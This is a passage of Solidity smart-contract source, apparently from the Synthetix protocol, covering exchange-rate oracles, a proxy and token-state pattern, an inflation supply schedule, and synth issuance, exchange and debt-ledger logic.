RatesUpdated(currencyKeys, newRates); updateXDRRate(timeSent); if (priceUpdateLock) { priceUpdateLock = false; } return true; } function rateOrInverted(bytes4 currencyKey, uint rate) internal returns (uint) { InversePricing storage inverse = inversePricing[currencyKey]; if (inverse.entryPoint <= 0) { return rate; } uint newInverseRate = rates[currencyKey]; if (!inverse.frozen) { uint doubleEntryPoint = inverse.entryPoint.mul(2); if (doubleEntryPoint <= rate) { newInverseRate = 0; } else { newInverseRate = doubleEntryPoint.sub(rate); } if (newInverseRate >= inverse.upperLimit) { newInverseRate = inverse.upperLimit; } else if (newInverseRate <= inverse.lowerLimit) { newInverseRate = inverse.lowerLimit; } if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) { inverse.frozen = true; emit InversePriceFrozen(currencyKey); } } return newInverseRate; } function updateXDRRate(uint timeSent) internal { uint total = 0; for (uint i = 0; i < xdrParticipants.length; i++) { total = rates[xdrParticipants[i]].add(total); } rates["XDR"] = total; lastRateUpdateTimes["XDR"] = timeSent; bytes4[] memory eventCurrencyCode = new bytes4[](1); eventCurrencyCode[0] = "XDR"; uint[] memory eventRate = new uint[](1); eventRate[0] = rates["XDR"]; emit RatesUpdated(eventCurrencyCode, eventRate); } function deleteRate(bytes4 currencyKey) external onlyOracle { require(rates[currencyKey] > 0, "Rate is zero"); delete rates[currencyKey]; delete lastRateUpdateTimes[currencyKey]; emit RateDeleted(currencyKey); } function setOracle(address _oracle) external onlyOwner { oracle = _oracle; emit OracleUpdated(oracle); } function setRateStalePeriod(uint _time) external onlyOwner { rateStalePeriod = _time; emit RateStalePeriodUpdated(rateStalePeriod); } function setPriceUpdateLock(bool _priceUpdateLock) external onlyOracle { priceUpdateLock = _priceUpdateLock; } function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit) external onlyOwner { require(entryPoint > 0, "entryPoint must be above 0"); require(lowerLimit > 0, "lowerLimit must be above 0"); require(upperLimit > entryPoint, "upperLimit must be above the entryPoint"); require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint"); require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint"); if (inversePricing[currencyKey].entryPoint <= 0) { invertedKeys.push(currencyKey); } inversePricing[currencyKey].entryPoint = entryPoint; inversePricing[currencyKey].upperLimit = upperLimit; inversePricing[currencyKey].lowerLimit = lowerLimit; inversePricing[currencyKey].frozen = false; emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit); } function removeInversePricing(bytes4 currencyKey) external onlyOwner { inversePricing[currencyKey].entryPoint = 0; inversePricing[currencyKey].upperLimit = 0; inversePricing[currencyKey].lowerLimit = 0; inversePricing[currencyKey].frozen = false; for (uint8 i = 0; i < invertedKeys.length; i++) { if (invertedKeys[i] == currencyKey) { delete invertedKeys[i]; invertedKeys[i] = invertedKeys[invertedKeys.length - 1]; invertedKeys.length--; break; } } emit InversePriceConfigured(currencyKey, 0, 0, 0); } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view rateNotStale(sourceCurrencyKey) rateNotStale(destinationCurrencyKey) returns (uint) { if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount; return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey)) .divideDecimalRound(rateForCurrency(destinationCurrencyKey)); } function rateForCurrency(bytes4 currencyKey) public view returns (uint) { return rates[currencyKey]; } function ratesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory _rates = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { _rates[i] = rates[currencyKeys[i]]; } return _rates; } function lastRateUpdateTimeForCurrency(bytes4 currencyKey) public view returns (uint) { return lastRateUpdateTimes[currencyKey]; } function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys) public view returns (uint[]) { uint[] memory lastUpdateTimes = new uint[](currencyKeys.length); for (uint8 i = 0; i < currencyKeys.length; i++) { lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]]; } return lastUpdateTimes; } function rateIsStale(bytes4 currencyKey) public view returns (bool) { if (currencyKey == "sUSD") return false; return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now; } function rateIsFrozen(bytes4 currencyKey) external view returns (bool) { return inversePricing[currencyKey].frozen; } function anyRateIsStale(bytes4[] currencyKeys) external view returns (bool) { uint256 i = 0; while (i < currencyKeys.length) { if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) { return true; } i += 1; } return false; } modifier rateNotStale(bytes4 currencyKey) { require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier onlyOracle { require(msg.sender == oracle, "Only the oracle can perform this action"); _; } event OracleUpdated(address newOracle); event RateStalePeriodUpdated(uint rateStalePeriod); event RatesUpdated(bytes4[] currencyKeys, uint[] newRates); event RateDeleted(bytes4 currencyKey); event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit); event InversePriceFrozen(bytes4 currencyKey); } contract State is Owned { address public associatedContract; constructor(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } event AssociatedContractUpdated(address associatedContract); } contract TokenState is State { mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) public {} function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } contract Proxy is Owned { Proxyable public target; bool public useDELEGATECALL; constructor(address _owner) Owned(_owner) public {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function setUseDELEGATECALL(bool value) external onlyOwner { useDELEGATECALL = value; } function _emit(bytes callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } function() external payable { if (useDELEGATECALL) { assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := delegatecall(gas, sload(target_slot), free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } else { target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } contract Proxyable is Owned { Proxy public proxy; address messageSender; constructor(address _proxy, address _owner) Owned(_owner) public { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { require(Proxy(msg.sender) == proxy, "Only the proxy can call this function"); _; } modifier optionalProxy { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } _; } modifier optionalProxy_onlyOwner { if (Proxy(msg.sender) != proxy) { messageSender = msg.sender; } require(messageSender == owner, "This action can only be performed by the owner"); _; } event ProxyUpdated(address proxyAddress); } contract ReentrancyPreventer { bool isInFunctionBody = false; modifier preventReentrancy { require(!isInFunctionBody, "Reverted to prevent reentrancy"); isInFunctionBody = true; _; isInFunctionBody = false; } } contract TokenFallbackCaller is ReentrancyPreventer { function callTokenFallbackIfNeeded(address sender, address recipient, uint amount, bytes data) internal preventReentrancy { uint length; assembly { length := extcodesize(recipient) } if (length > 0) { recipient.call(abi.encodeWithSignature("tokenFallback(address,uint256,bytes)", sender, amount, data)); } } } contract ExternStateToken is SelfDestructible, Proxyable, TokenFallbackCaller { using SafeMath for uint; using SafeDecimalMath for uint; TokenState public tokenState; string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor(address _proxy, TokenState _tokenState, string _name, string _symbol, uint _totalSupply, uint8 _decimals, address _owner) SelfDestructible(_owner) Proxyable(_proxy, _owner) public { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } function balanceOf(address account) public view returns (uint) { return tokenState.balanceOf(account); } function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(_tokenState); } function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { require(to != address(0), "Cannot transfer to the 0 address"); require(to != address(this), "Cannot transfer to the underlying contract"); require(to != address(proxy), "Cannot transfer to the proxy contract"); tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); callTokenFallbackIfNeeded(from, to, value, data); emitTransfer(from, to, value); return true; } function _transfer_byProxy(address from, address to, uint value, bytes data) internal returns (bool) { return _internalTransfer(from, to, value, data); } function _transferFrom_byProxy(address sender, address from, address to, uint value, bytes data) internal returns (bool) { tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value, data); } function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } event Transfer(address indexed from, address indexed to, uint value); bytes32 constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer(address from, address to, uint value) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, bytes32(from), bytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval(address owner, address spender, uint value) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, bytes32(owner), bytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } contract IFeePool { address public FEE_ADDRESS; function amountReceivedFromExchange(uint value) external view returns (uint); function amountReceivedFromTransfer(uint value) external view returns (uint); function feePaid(bytes4 currencyKey, uint amount) external; function appendAccountIssuanceRecord(address account, uint lockedAmount, uint debtEntryIndex) external; function rewardsMinted(uint amount) external; function transferFeeIncurred(uint value) public view returns (uint); } contract SupplySchedule is Owned { using SafeMath for uint; using SafeDecimalMath for uint; struct ScheduleData { uint totalSupply; uint startPeriod; uint endPeriod; uint totalSupplyMinted; } uint public mintPeriodDuration = 1 weeks; uint public lastMintEvent; Synthetix public synthetix; uint constant SECONDS_IN_YEAR = 60 * 60 * 24 * 365; uint public constant START_DATE = 1520294400; uint public constant YEAR_ONE = START_DATE + SECONDS_IN_YEAR.mul(1); uint public constant YEAR_TWO = START_DATE + SECONDS_IN_YEAR.mul(2); uint public constant YEAR_THREE = START_DATE + SECONDS_IN_YEAR.mul(3); uint public constant YEAR_FOUR = START_DATE + SECONDS_IN_YEAR.mul(4); uint public constant YEAR_FIVE = START_DATE + SECONDS_IN_YEAR.mul(5); uint public constant YEAR_SIX = START_DATE + SECONDS_IN_YEAR.mul(6); uint public constant YEAR_SEVEN = START_DATE + SECONDS_IN_YEAR.mul(7); uint8 constant public INFLATION_SCHEDULES_LENGTH = 7; ScheduleData[INFLATION_SCHEDULES_LENGTH] public schedules; uint public minterReward = 200 * SafeDecimalMath.unit(); constructor(address _owner) Owned(_owner) public { schedules[0] = ScheduleData(1e8 * SafeDecimalMath.unit(), START_DATE, YEAR_ONE - 1, 1e8 * SafeDecimalMath.unit()); schedules[1] = ScheduleData(75e6 * SafeDecimalMath.unit(), YEAR_ONE, YEAR_TWO - 1, 0); schedules[2] = ScheduleData(37.5e6 * SafeDecimalMath.unit(), YEAR_TWO, YEAR_THREE - 1, 0); schedules[3] = ScheduleData(18.75e6 * SafeDecimalMath.unit(), YEAR_THREE, YEAR_FOUR - 1, 0); schedules[4] = ScheduleData(9.375e6 * SafeDecimalMath.unit(), YEAR_FOUR, YEAR_FIVE - 1, 0); schedules[5] = ScheduleData(4.6875e6 * SafeDecimalMath.unit(), YEAR_FIVE, YEAR_SIX - 1, 0); schedules[6] = ScheduleData(0, YEAR_SIX, YEAR_SEVEN - 1, 0); } function setSynthetix(Synthetix _synthetix) external onlyOwner { synthetix = _synthetix; } function mintableSupply() public view returns (uint) { if (!isMintable()) { return 0; } uint index = getCurrentSchedule(); uint amountPreviousPeriod = _remainingSupplyFromPreviousYear(index); ScheduleData memory schedule = schedules[index]; uint weeksInPeriod = (schedule.endPeriod - schedule.startPeriod).div(mintPeriodDuration); uint supplyPerWeek = schedule.totalSupply.divideDecimal(weeksInPeriod); uint weeksToMint = lastMintEvent >= schedule.startPeriod ? _numWeeksRoundedDown(now.sub(lastMintEvent)) : _numWeeksRoundedDown(now.sub(schedule.startPeriod)); uint amountInPeriod = supplyPerWeek.multiplyDecimal(weeksToMint); return amountInPeriod.add(amountPreviousPeriod); } function _numWeeksRoundedDown(uint _timeDiff) public view returns (uint) { return _timeDiff.div(mintPeriodDuration); } function isMintable() public view returns (bool) { bool mintable = false; if (now - lastMintEvent > mintPeriodDuration && now <= schedules[6].endPeriod) { mintable = true; } return mintable; } function getCurrentSchedule() public view returns (uint) { require(now <= schedules[6].endPeriod, "Mintable periods have ended"); for (uint i = 0; i < INFLATION_SCHEDULES_LENGTH; i++) { if (schedules[i].startPeriod <= now && schedules[i].endPeriod >= now) { return i; } } } function _remainingSupplyFromPreviousYear(uint currentSchedule) internal view returns (uint) { if (currentSchedule == 0 || lastMintEvent > schedules[currentSchedule - 1].endPeriod) { return 0; } uint amountInPeriod = schedules[currentSchedule - 1].totalSupply.sub(schedules[currentSchedule - 1].totalSupplyMinted); if (amountInPeriod < 0) { return 0; } return amountInPeriod; } function updateMintValues() external onlySynthetix returns (bool) { uint currentIndex = getCurrentSchedule(); uint lastPeriodAmount = _remainingSupplyFromPreviousYear(currentIndex); uint currentPeriodAmount = mintableSupply().sub(lastPeriodAmount); if (lastPeriodAmount > 0) { schedules[currentIndex - 1].totalSupplyMinted = schedules[currentIndex - 1].totalSupplyMinted.add(lastPeriodAmount); } schedules[currentIndex].totalSupplyMinted = schedules[currentIndex].totalSupplyMinted.add(currentPeriodAmount); lastMintEvent = now; emit SupplyMinted(lastPeriodAmount, currentPeriodAmount, currentIndex, now); return true; } function setMinterReward(uint _amount) external onlyOwner { minterReward = _amount; emit MinterRewardUpdated(_amount); } modifier onlySynthetix() { require(msg.sender == address(synthetix), "Only the synthetix contract can perform this action"); _; } event SupplyMinted(uint previousPeriodAmount, uint currentAmount, uint indexed schedule, uint timestamp); event MinterRewardUpdated(uint newRewardAmount); } contract LimitedSetup { uint setupExpiryTime; constructor(uint setupDuration) public { setupExpiryTime = now + setupDuration; } modifier onlyDuringSetup { require(now < setupExpiryTime, "Can only perform this action during setup"); _; } } contract SynthetixState is State, LimitedSetup { using SafeMath for uint; using SafeDecimalMath for uint; struct IssuanceData { uint initialDebtOwnership; uint debtEntryIndex; } mapping(address => IssuanceData) public issuanceData; uint public totalIssuerCount; uint[] public debtLedger; uint public importedXDRAmount; uint public issuanceRatio = SafeDecimalMath.unit() / 5; uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit(); mapping(address => bytes4) public preferredCurrency; constructor(address _owner, address _associatedContract) State(_owner, _associatedContract) LimitedSetup(1 weeks) public {} function setCurrentIssuanceData(address account, uint initialDebtOwnership) external onlyAssociatedContract { issuanceData[account].initialDebtOwnership = initialDebtOwnership; issuanceData[account].debtEntryIndex = debtLedger.length; } function clearIssuanceData(address account) external onlyAssociatedContract { delete issuanceData[account]; } function incrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.add(1); } function decrementTotalIssuerCount() external onlyAssociatedContract { totalIssuerCount = totalIssuerCount.sub(1); } function appendDebtLedgerValue(uint value) external onlyAssociatedContract { debtLedger.push(value); } function setPreferredCurrency(address account, bytes4 currencyKey) external onlyAssociatedContract { preferredCurrency[account] = currencyKey; } function setIssuanceRatio(uint _issuanceRatio) external onlyOwner { require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO"); issuanceRatio = _issuanceRatio; emit IssuanceRatioUpdated(_issuanceRatio); } function importIssuerData(address[] accounts, uint[] sUSDAmounts) external onlyOwner onlyDuringSetup { require(accounts.length == sUSDAmounts.length, "Length mismatch"); for (uint8 i = 0; i < accounts.length; i++) { _addToDebtRegister(accounts[i], sUSDAmounts[i]); } } function _addToDebtRegister(address account, uint amount) internal { Synthetix synthetix = Synthetix(associatedContract); uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR"); uint totalDebtIssued = importedXDRAmount; uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); importedXDRAmount = newTotalDebtIssued; uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = synthetix.debtBalanceOf(account, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (issuanceData[account].initialDebtOwnership == 0) { totalIssuerCount = totalIssuerCount.add(1); } issuanceData[account].initialDebtOwnership = debtPercentage; issuanceData[account].debtEntryIndex = debtLedger.length; if (debtLedger.length > 0) { debtLedger.push( debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta) ); } else { debtLedger.push(SafeDecimalMath.preciseUnit()); } } function debtLedgerLength() external view returns (uint) { return debtLedger.length; } function lastDebtLedgerEntry() external view returns (uint) { return debtLedger[debtLedger.length - 1]; } function hasIssued(address account) external view returns (bool) { return issuanceData[account].initialDebtOwnership > 0; } event IssuanceRatioUpdated(uint newRatio); } interface ISynthetixEscrow { function balanceOf(address account) public view returns (uint); function appendVestingEntry(address account, uint quantity) public; } contract Synthetix is ExternStateToken { Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; IFeePool public feePool; ISynthetixEscrow public escrow; ISynthetixEscrow public rewardEscrow; ExchangeRates public exchangeRates; SynthetixState public synthetixState; SupplySchedule public supplySchedule; bool private protectionCircuit = false; string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; bool public exchangeEnabled = true; constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule, ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) public { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; supplySchedule = _supplySchedule; rewardEscrow = _rewardEscrow; escrow = _escrow; } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function setProtectionCircuit(bool _protectionCircuitIsActivated) external onlyOracle { protectionCircuit = _protectionCircuitIsActivated; } function setExchangeEnabled(bool _exchangeEnabled) external optionalProxy_onlyOwner { exchangeEnabled = _exchangeEnabled; } function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[currencyKey]; } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view returns (uint) { return exchangeRates.effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale"); for (uint8 i = 0; i < availableSynths.length; i++) { uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function availableCurrencyKeys() public view returns (bytes4[]) { bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length); for (uint8 i = 0; i < availableSynths.length; i++) { availableCurrencyKeys[i] = availableSynths[i].currencyKey(); } return availableCurrencyKeys; } function availableSynthCount() public view returns (uint) { return availableSynths.length; } function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(messageSender), "Insufficient balance"); _transfer_byProxy(messageSender, to, value, data); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(from), "Insufficient balance"); _transferFrom_byProxy(messageSender, from, to, value, data); return true; } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); if (protectionCircuit) { return _internalLiquidation( messageSender, sourceCurrencyKey, sourceAmount ); } else { return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, true ); } } function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, false ); } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { if (sourceAmount == 0) { return true; } require(sourceAmount > 0, "Source can't be 0"); bool result = _internalExchange( from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), false ); feePool.feePaid(sourceCurrencyKey, sourceAmount); return result; } function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(exchangeEnabled, "Exchanging is disabled"); require(!exchangeRates.priceUpdateLock(), "Price update lock"); require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); feePool.feePaid("XDR", xdrFeeAmount); } synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress); return true; } function _internalLiquidation( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) internal returns (bool) { synths[sourceCurrencyKey].burn(from, sourceAmount); return true; } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } synthetixState.setCurrentIssuanceData(messageSender, debtPercentage); if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } else { synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function issueSynths(bytes4 currencyKey, uint amount) public optionalProxy { require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large"); _addToDebtRegister(currencyKey, amount); synths[currencyKey].issue(messageSender, amount); _appendAccountIssuanceRecord(); } function issueMaxSynths(bytes4 currencyKey) external optionalProxy { uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey); issueSynths(currencyKey, maxIssuable); } function burnSynths(bytes4 currencyKey, uint amount) external optionalProxy { uint debtToRemove = effectiveValue(currencyKey, amount, "XDR"); uint debt = debtBalanceOf(messageSender, "XDR"); uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey); require(debt > 0, "No debt to forgive"); uint amountToRemove = debt < debtToRemove ? debt : debtToRemove; _removeFromDebtRegister(amountToRemove); uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount; synths[currencyKey].burn(messageSender, amountToBurn); _appendAccountIssuanceRecord(); } function _appendAccountIssuanceRecord() internal { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender); feePool.appendAccountIssuanceRecord( messageSender, initialDebtOwnership, debtEntryIndex ); } function _removeFromDebtRegister(uint amount) internal { uint debtToRemove = amount; uint existingDebt = debtBalanceOf(messageSender, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint delta; if (newTotalDebtIssued > 0) { uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued); delta = SafeDecimalMath.preciseUnit().add(debtPercentage); } else { delta = 0; } if (debtToRemove == existingDebt) { synthetixState.setCurrentIssuanceData(messageSender, 0); synthetixState.decrementTotalIssuerCount(); } else { uint newDebt = existingDebt.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } function maxIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } function debtBalanceOf(address issuer, bytes4 currencyKey) public view returns (uint) { uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); if (initialDebtOwnership == 0) return 0; uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); uint totalSystemValue = totalIssuedSynths(currencyKey); uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; } else { return max.sub(alreadyIssued); } } function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } if (rewardEscrow != address(0)) { balance = balance.add(rewardEscrow.balanceOf(account)); } return balance; } function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { uint balance = tokenState.balanceOf(account); uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); if (lockedSynthetixValue >= balance) { return 0; } else { return balance.sub(lockedSynthetixValue); } } function mint() external returns 